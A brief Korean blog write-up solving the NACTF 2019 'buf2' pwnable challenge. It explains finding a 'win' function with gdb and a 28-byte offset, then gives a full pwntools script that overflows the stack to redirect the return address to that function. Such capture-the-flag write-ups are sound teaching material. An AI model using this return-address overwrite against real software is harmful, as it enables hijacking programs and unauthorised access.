Nactf pwnable 문제 2번 이다.
일단 ./buf2 를 실행시키면 입력받는 창이 나온다. 딱 봐도 "익스해주세요" 라고 적혀 있다.
그래서 일단 기본적인 buf 문제라면 분명 플래그 보여주는 함수나 이런게 존재할것이라고 판단하여 gdb를 이용하여 확인을 해보았더니 win 이라는 함수가 존재했다.
플래그 파일 읽어와서 뛰어주는 형식인거 같아 보였다.
즉 익스 시나리오를 짜보면 ret를 변조시켜서 저 win 함수를 실행시켜주면 문제는 풀릴것이다.
24바이트짜리 변수 선언해주는거같아서 대충 28바이트 이상 해줬더니 세그 뽈트 떳다.
그래서 그냥 32비트니까 28바이트로 익스시켰다.
exploit.py
from pwn import *
p = remote("shell.2019.nactf.com",31462)
#p = process("./buf2")
p.recvuntil("Type something>")
payload = "A"*28
payload += p32(0x80491b2)
p.sendline(payload)
p.interactive()
이런식으로 익스시켰더니 익스가 너무 잘되었다.
'CTF > Nactf' 카테고리의 다른 글
Nactf pwnable_buf3 Write up (0) | 2019.10.20 |
---|